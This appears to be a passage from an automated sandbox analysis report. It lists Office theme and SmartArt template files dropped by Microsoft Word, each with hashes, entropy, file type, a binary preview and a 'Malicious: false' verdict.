Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033937[[fn=Vapor Trail]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3611324
Entropy (8bit):	7.965784120725206
Encrypted:	false
SSDEEP:	49152:ixc1kZBIabo4dTJyr3hJ50gd9OaFxTy+1Nn/M/noivF0po3M0h0Vsm:ixcaAabT83hJLdoaFxTygxcoiX3M0iCm
MD5:	FB88BFB743EEA98506536FC44B053BD0
SHA1:	B27A67A5EEC1B5F9E7A9C3B76223EDE4FCAF5537
SHA-256:	05057213BA7E5437AC3B8E9071A5577A8F04B1A67EFE25A08D3884249A22FBBF
SHA-512:	4270A19F4D73297EEC910B81FF17441F3FC7A6A2A84EBA2EA3F7388DD3AA0BA31E9E455CFF93D0A34F4EC7CA74672D407A1C4DC838A130E678CA92A2E085851C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001114[[fn=Gallery]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1091485
Entropy (8bit):	7.906659368807194
Encrypted:	false
SSDEEP:	24576:oBpmCkw3Tg/euEB+UdoC4k7ytHkHA6B/puqW2MIkTeSBmKrZHQ:MR3c/AseydwppC7veSBmWHQ
MD5:	2192871A20313BEC581B277E405C6322
SHA1:	1F9A6A5E10E1C3FFEB6B6725C5D2FA9ECDF51085
SHA-256:	A06B302954A4C9A6A104A8691864A9577B0BFEA240B0915D9BEA006E98CDFFEC
SHA-512:	6D8844D2807BB90AEA6FE0DDDB9C67542F587EC9B7FC762746164B2D4A1A99EF8368A70C97BAD7A986AAA80847F64408F50F4707BB039FCCC509133C231D53B9
Malicious:	false
Preview:	PK...........G`.jaV....P......[Content_Types].xml...n.@...W......T@.mwM.E....)....y...H}.N..ll8.h5g6Q.=3_......?...x..e^Di.p.^.ud...(Y/..{w..r..9.../M...Q*{..E...(.4..>..y,.>..~&..b-.a.?..4Q2Q=.2.......m....>-....;]......N'..A...g.D.m.@(}..'.3Z....#....(+....-q<uq.+....?....1.....Y?Oy......O"..J?....Q$zT.].7.N..Q Wi.....<.........-..rY....hy.x[9.b.%-<.V?.(......;r.+...Q<.;U.....4...!'k...s.&..)'k...d.s..}R....o".D.I..7..7.KL.7..Z.....v..b.5.2].f....l.t....Z...Uk...j.&.U-....&>.ia1..9lhG..Q.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.........j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oT/-c..`....7FaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,..7...&(L.....>.kw...i...i...i...i...i...i...i.......I...U_.....vT.....}..\...v..W.!-W.!-W.!-W.!-W.!-W.!-W.!-W.U...7.....k.pT...0..O.... ...>..>..>..>..>..>..>......f..2V}....W>jO....5..].?.o..oPK...........G.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001115[[fn=Parcel]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	608122
Entropy (8bit):	7.729143855239127
Encrypted:	false
SSDEEP:	6144:Ckl6KRKwg9jf2q/bN69OuGFlC/DUhq68xOcJzGYnTxlLqU8dmTW:8yKwgZ2qY9kA7Uhq68H3ybmq
MD5:	8BA551EEC497947FC39D1D48EC868B54
SHA1:	02FA15FDAF0D7E2F5D44CAE5FFAE49E8F91328DF
SHA-256:	DB2E99B969546E431548EBD58707FC001BBD1A4BDECAD387D194CC9C6D15AC89
SHA-512:	CC97F9B2C83FF7CAC32AB9A9D46E0ACDE13EECABECD653C88F74E4FC19806BB9498D2F49C4B5581E58E7B0CB95584787EA455E69D99899381B592BEA177D4D4B
Malicious:	false
Preview:	PK.........LGE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK.........LG.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328884[[fn=architecture]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5783
Entropy (8bit):	7.88616857639663
Encrypted:	false
SSDEEP:	96:CDG4D+8VsXzXc2zLXTJ2XFY47pk2G7HVlwFzTXNbMfmn2ivLZcreFWw5fc9ADdZm:CDG4DRGY23l2Xu47GL7YtT9V29yWvWdk
MD5:	8109B3C170E6C2C114164B8947F88AA1
SHA1:	FC63956575842219443F4B4C07A8127FBD804C84
SHA-256:	F320B4BB4E57825AA4A40E5A61C1C0189D808B3EACE072B35C77F38745A4C416
SHA-512:	F8A8D7A6469CD3E7C31F3335DDCC349AD7A686730E1866F130EE36AA9994C52A01545CE73D60B642FFE0EE49972435D183D8CD041F2BB006A6CAF31BAF4924AC
Malicious:	false
Preview:	PK.........A;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........pnB;.M.:....g......._rels/.rels...J.0.._%.n....xp..,{.i2M.........G..........7...3o/.......d.kyU....^..[>Q....j.#P.H......Z>..+!...B*\|@...G...E....E]..".3.......!..7....,:..,.......Ot..0r....Z..&1..U..p.U-.[Uq&.......................Gyy.}n.(.C(i.x........?.vM..}..%.7.b.>L..]..PK........EV:5K..4....H......diagrams/layout1.xml.Yo.6........S.`......$M...Q8A...R..T.k...K.4CQG..}.A..9.?R....!&...Q..ZW.......Q....<8..z..g....4{d.>..;.{.>.X.....Y.2.......cR....9e.. ...}L.....yv&.&...r..h...._..M. e...[..}.>.k..........3.`.ygN...7.w..3..W.S.....w9....r(....Zb..1....z...&WM.D<......D9...ge......6+.Y....$f......wJ$O..N..FC..Er........?..is...-Z

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328893[[fn=BracketList]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4026
Entropy (8bit):	7.809492693601857
Encrypted:	false
SSDEEP:	96:VpDCBFLhxaUGm5EWA07yNdKH1FQpy8tnX8Iz3b7TrT502+fPD:VpDYFFRMNU+RtXzLf35t+3D
MD5:	5D9BAD7ADB88CEE98C5203883261ACA1
SHA1:	FBF1647FCF19BCEA6C3CF4365C797338CA282CD2
SHA-256:	8CE600404BB3DB92A51B471D4AB8B166B566C6977C9BB63370718736376E0E2F
SHA-512:	7132923869A3DA2F2A75393959382599D7C4C05CA86B4B27271AB9EA95C7F2E80A16B45057F4FB729C9593F506208DC70AF2A635B90E4D8854AC06C787F6513D
Malicious:	false
Preview:	PK........YnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........bnB;?.......f......._rels/.rels...J.1.._%..f....m/.,x...&.lt.dV.y.\|.."v....q..\|......r..F..)..;.T5g.eP..O..Z.^-.8...<.Y....Q.."....D.%.!9.R&#".'0(.u}).!..l....b..J..rr....P.L.w..0.-......A..w..x.7U...Fu<mT.....^s...F./ ..( .4L..`.....}...O..4.L...+H.z...m..j[].=........oY}.PK........J.L6...m....,.......diagrams/layout1.xml.X.n.8.}N.....PG.............wZ.,.R.%.K...J.H]....y.3..9...O..5."J.1.\.1....Q....z......e.5].)...$b.C)...Gx!...J3..N..H...s....9.~...#..$...W.8..I`\|..0xH}......L.\|..(V;..1...kF..O=...j...G.X.....T.,d>.w.Xs.......3L.r..er\o..D..^....O.F.{:.>.R'....Y-...B.P.;....X.'c...{x.M7..><l.1.w..{].46.>.z.E.J.......G......Hd..$..7....E.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328905[[fn=Chevron Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4243
Entropy (8bit):	7.824383764848892
Encrypted:	false
SSDEEP:	96:22MQe4zHye8/djzF+JjvtmMkkBpF7e0LTkaf:22De4zHHCvF+nRBDXoaf
MD5:	7BC0A35807CD69C37A949BBD51880FF5
SHA1:	B5870846F44CAD890C6EFF2F272A037DA016F0D8
SHA-256:	BD3A013F50EBF162AAC4CED11928101554C511BD40C2488CF9F5842A375B50CA
SHA-512:	B5B785D693216E38B5AB3F401F414CADACCDCB0DCA4318D88FE1763CD3BAB8B7670F010765296613E8D3363E47092B89357B4F1E3242F156750BE86F5F7E9B8D
Malicious:	false
Preview:	PK........NnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........TnB;..d.....h......._rels/.rels...J.0.._%.n..)"....<.w.&.4..!...y.\|.........\|.&3.o.....S..K.T5g.U....g..n.f....T.hcf...D.V..Ft....d....c2".z.....N.s._2....7.0.V.]P.CO?...`...8....4&......_i..Y.T...Z...g....{-...]..pH..@.8....}tP.)..B>..A...S&......9..@...7........b_.PK........r};5.z..............diagrams/layout1.xml.X.n.8.}.........4.+.(...@......(..J..._.!)..b..v.}.H..zf8...dhM....E..I.H..V.Y.R..2zw5L~....^..]...J_..4.\.\......8..z..2T..".X.l.F#......5....,....c....r.kR.I.E..,.2...&%..''.qF.R.2.....T;F...W.. ...3...AR.OR.O..J}.w6..<...,.x..x....`g?.t.I.{.I...\|X..g.....<BR..^...Q.6..m.kp...ZuX.?.z.YO.g...$.......'.]..I.#...]$/~`${.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328908[[fn=Circle Process]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	16806
Entropy (8bit):	7.9519793977093505
Encrypted:	false
SSDEEP:	384:eSMjhqgJDGwOzHR3iCpK+QdLdfufFJ9aDn9LjDMVAwHknbz7OW:eSkhqglGwERSAHQdLhDn9AKokv7H
MD5:	950F3AB11CB67CC651082FEBE523AF63
SHA1:	418DE03AD2EF93D0BD29C3D7045E94D3771DACB4
SHA-256:	9C5E4D8966A0B30A22D92DB1DA2F0DBF06AC2EA75E7BB8501777095EA0196974
SHA-512:	D74BF52A58B0C0327DB9DDCAD739794020F00B3FA2DE2B44DAAEC9C1459ECAF3639A5D761BBBC6BDF735848C4FD7E124D13B23964B0055BB5AA4F6AFE76DFE00
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........Ul.<..<"I5...&......diagrams/layout1.xml.}.r.I..s........~Y.f.gzfv......E."w.K..J5m.e...4.0..Q... A.!...%...<...3.......O.......t~.u{...5.G......?,.........N......L......~.:....^,..r=./~7_..8............o.y......oo.3.f........f.......r.7../....qrr.v9.......,?..._O.....?9.O~]..zv.I'.W..........;..\..~....../........?~..n.....\}pt.........b,~...;>.=;>:..u.....?.......2]..]....i......9..<.p..4D..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328916[[fn=Converging Text]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11380
Entropy (8bit):	7.891971054886943
Encrypted:	false
SSDEEP:	192:VJcnLYnAVbOFLaCPLrGGbhaWEu6d3RmryqLkeAShObPb1AYcRMMXjkfa0nYBwggD:VcMC8lLrRbhy1ZqLyShYb1FHQ4C0nYQJ
MD5:	C9F9364C659E2F0C626AC0D0BB519062
SHA1:	C4036C576074819309D03BB74C188BF902D1AE00
SHA-256:	6FC428CA0DCFC27D351736EF16C94D1AB08DDA50CB047A054F37EC028DD08AA2
SHA-512:	173A5E68E55163B081C5A8DA24AE46428E3FB326EBE17AE9588C7F7D7E5E5810BFCF08C23C3913D6BEC7369E06725F50387612F697AC6A444875C01A2C94D0FF
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........q.~<.6..9 ...e......diagrams/layout1.xml..r.........{.]..u...xv7b.....HPd....t.q...b.i_a.'..P.f.3..F..1...U.u.*.2......?}..O..V.....yQ.Mf........w.....O....N.........t3;...e....j.^.o&.....w...../.w................e.................O..,./..6...8>^.^..........ru5...\.=>[M?......g..........w.N....i.........iy6.?........>.......>{yT...........x.........-...z5.L./.g......_.l.1.....#...\|...pr.q

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328919[[fn=Hexagon Radial]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	6024
Entropy (8bit):	7.886254023824049
Encrypted:	false
SSDEEP:	96:bGa2onnLYHTSSxpHVTSH1bywZKmpRqiUtFvS9xrPooBpni6eDa16MUELHsrKjRBA:SJonLYzSSr1TuZNwtFZKpiiyrKXuCUd
MD5:	20621E61A4C5B0FFEEC98FFB2B3BCD31
SHA1:	4970C22A410DCB26D1BD83B60846EF6BEE1EF7C4
SHA-256:	223EA2602C3E95840232CACC30F63AA5B050FA360543C904F04575253034E6D7
SHA-512:	BDF3A8E3D6EE87D8ADE0767918603B8D238CAE8A2DD0C0F0BF007E89E057C7D1604EB3CCAF0E1BA54419C045FC6380ECBDD070F1BB235C44865F1863A8FA7EEA
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........2..<..]#.....'......diagrams/layout1.xml.].r.8...V.;0.;..aO........{.....V..3].d{..............\. .#.t... ........x<...@7o.]..7.N..@.NF..../....S.../.xC..U...<..Q.=...\|..v.....cQ..Y=.....i`.. ..?.;...Go....x.O.$....7s..0..qg....\|..r..l.w.a..p.3.Em7v...N............3..7...N.\\..f...9...U$..7...k.C..M.@\.s....G/..?...I...t.Yos...p..z...6.lnqi.6..<..1qg+......#]....\|C/N..K\}.....#..".

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328925[[fn=Interconnected Block Process]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	9191
Entropy (8bit):	7.93263830735235
Encrypted:	false
SSDEEP:	192:oeAMExvPJMg+yE+AfJLi3+Xoj7F3sPgMG61J88eDhFWT7hFNsdJtnLYJ7tSh:v2d+hnfJLi3+4ja4WqhFWT7FsdHMA
MD5:	08D3A25DD65E5E0D36ADC602AE68C77D
SHA1:	F23B6DDB3DA0015B1D8877796F7001CABA25EA64
SHA-256:	58B45B9DBA959F40294DA2A54270F145644E810290F71260B90F0A3A9FCDEBC1
SHA-512:	77D24C272D67946A3413D0BEA700A7519B4981D3B4D8486A655305546CE6133456321EE94FD71008CBFD678433EA1C834CFC147179B31899A77D755008FCE489
Malicious:	false
Preview:	PK.........]w>....<...5.......diagrams/layout1.xmlz........].r.F.}......1w`.J..'.......w..Dn. d....~........pw...O.......s...?...p7.t>e.r<.]u.e..d..\|8..\uo.......K...._.Y..E6.\|..y;........y.*/:o./...:[.o.+/.....?.....Z.?..s..d}...S.`...b.^o9.e.ty9_d...y>M.....7...e....."....<.v.u...e:].N.t....a....0..}..bQ.Y..>.~..~...U.\|..Ev.....N...bw....{...O..Y.Y.&........A.8Ik...N.Z.P.[}t........\|m...E..v..,..6........_?..."..K<.=x....$..%@.e..%....$=F..G..e........<F..G51..;......=...e.e.q..d......A...&9'.N.\%.=N.Z.9.s......y.4.Q.c......\|8.......Eg.:.ky.z.h.......).O...mz...N.wy.m...yv....~8.?Lg..o.l.y:.....z.i..j.irxI.w...r.......\|.=....s};.\u.{t;i~S.......U7..mw...<.vO...M.o...W.U.....}.`V<\|..%....l..`>]..".].I.i.N..Z..~Lt.........}?..E~:..>$......x...%.........N....'C.m.=...w.=.Y...+'M.].2 >.]_~...'.?...:....z.O..Y......6..5...sj?.....).B..>.3...G...p.9.K!..[H..1$v../...E V..?`....+[...C......h..!.QI5....<.>...A.d.......

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328932[[fn=Picture Frame]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4326
Entropy (8bit):	7.821066198539098
Encrypted:	false
SSDEEP:	96:+fF+Jrp7Yo5hnJiGa24TxEcpUeONo1w2NFocy2LQi33Z:2+f7YuhJdJ4TxEcmKwGkk3Z
MD5:	D32E93F7782B21785424AE2BEA62B387
SHA1:	1D5589155C319E28383BC01ED722D4C2A05EF593
SHA-256:	2DC7E71759D84EF8BB23F11981E2C2044626FEA659383E4B9922FE5891F5F478
SHA-512:	5B07D6764A6616A7EF25B81AB4BD4601ECEC1078727BFEAB4A780032AD31B1B26C7A2306E0DBB5B39FC6E03A3FC18AD67C170EA9790E82D8A6CEAB8E7F564447
Malicious:	false
Preview:	PK.........n.A...#............docProps/thumbnail.jpgz.........{4.i....1.n.v)..#.\....A+..Q(."..D.......#Q)...SQ....2c.ei.JC...N.{......}.s.s..y>....d.(:.;.....q........$.OBaPbI..(.V...o.....'..b..edE.J.+.....".tq..dqX.......8...CA.@..........0.G.O.$Ph...%i.Q.CQ.>.%!j..F..."?@.1J.Lm$..`..oO...}..6......(%....^CO..p......-,.....w8..t.k.#....d..'...O...8....s1....z.r...rr...,(.)....]Q]S.{X.SC{GgWw..O....X./FF9._&..L.....[z..^......C...qI.f... .Hq....d*.d..9.N{{.N.6..6)..n<...iU]3.._.....%./.?......(H4<.....}..%..Z..s...C@.d>.v...e.'WGW.....J..:....`....n..6.....]W~/.JX.Qf..^...}...._Sg.-.p..a..C_:..F..E.....k.H..........-Bl$._5...B.w2e...2...c2/y3.U...7.8[.S}H..r/..^...g...\|...l..\M..8p$]..poX-/.2}..}z\.\|.d<T.....1....2...{P...+Y...T...!............p..c.....D..o..%.d.f.~.;.;=4.J..]1"("`......d.0.....L.f0.l..r8..M....m,.p..Y.f....\2.q. ...d9q....P...K..o!..#o...=.........{.p..l.n...........&..o...!J..\|)..q4.Z.b..PP....U.K..\|.i.$v

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328935[[fn=Picture Organization Chart]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	7370
Entropy (8bit):	7.9204386289679745
Encrypted:	false
SSDEEP:	192:fYa+ngK2xG6HvLvoUnXxO+blKO1lt2Zg0AV:fYVn8Y6Hv3XxO+8uQZCV
MD5:	586CEBC1FAC6962F9E36388E5549FFE9
SHA1:	D1EF3BF2443AE75A78E9FDE8DD02C5B3E46F5F2E
SHA-256:	1595C0C027B12FE4C2B506B907C795D14813BBF64A2F3F6F5D71912D7E57BC40
SHA-512:	68DEAE9C59EA98BD597AE67A17F3029BC7EA2F801AC775CF7DECA292069061EA49C9DF5776CB5160B2C24576249DAF817FA463196A04189873CF16EFC4BEDC62
Malicious:	false
Preview:	PK........;nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........HnB;..I)....j......._rels/.rels...J.@.._e..&6E.i/.,x..Lw'.j........G..\...................)...Y.3)..`...9r{v!......z...#>5.g.WJ%..T..>'m ..K.T.....j6[(:f.)S....C.mk5^.=:...X......C.... I......&5..e..H.1...).P.cw.kjT......C.......=.....}G!7E.y$.(...}b.........b=.<..^.....U..Y..PK.........^5a.2u............diagrams/layout1.xml..ko.8..+x.t.l..J.n.t.Mnw.x. ....B.t$.,.(&i.....(..d.mY......g.../[.<!.{ap>...L...p....G.9z?...._...e..`..%......8....G!..B8.....o...b.......Q.>\|.......g..O\B...i.h...0B.}.....z...k...H..t~r.v........7o.E....$....Z.........ZDd..~......>......O.3.SI.Y.".O&I....#."._c.$.r..z.g0`...0...q:...^0.EF...%(.Ao$.#.o6..c'....$%.}

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328940[[fn=Radial Picture List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	7.875182123405584
Encrypted:	false
SSDEEP:	96:dGa2unnLYEB2EUAPOak380NQjqbHaPKJebgrEVws8Vw+BMa0EbdLVQaZJgDZh0pJ:UJunLYEB2EUAxk3pIYaScgYwsV4bdS0X
MD5:	CDC1493350011DB9892100E94D5592FE
SHA1:	684B444ADE2A8DBE760B54C08F2D28F2D71AD0FA
SHA-256:	F637A67799B492FEFFB65632FED7815226396B4102A7ED790E0D9BB4936E1548
SHA-512:	3699066A4E8A041079F12E88AB2E7F485E968619CB79175267842846A3AD64AA8E7778CBACDF1117854A7FDCFB46C8025A62F147C81074823778C6B4DC930F12
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK.........V.<.S.....Y.......diagrams/layout1.xml.\.r.8...U....m.$.."3.....;...../3.XAn..O.?....V.;...")Nr.O.H....O......_..E..S...L7....8H.y<=............~...Ic......v9.X.%.\.^.,?g.v.?%w...f.).9.........Ld;.1..?~.%QQ...h.8;.gy..c4..]..0Ii.K&.[.9.......E4B.a..?e.B..4....E.......Y.?_&!.....i~..{.W..b....L.?..L..@.F....c.H..^..i...(d.......w...9..9,........q..%[..]K}.u.k..V.%.Y.....W.y..;e4[V..u.!T...).%.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328951[[fn=Tabbed Arc]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.772039166640107
Encrypted:	false
SSDEEP:	96:GyfQZd6ZHNCWl9aXFkZwIq/QDsRYPf8P9QtDIs5r:G6wYtNZS1k99AmPfSOtD5r
MD5:	E8308DA3D46D0BC30857243E1B7D330D
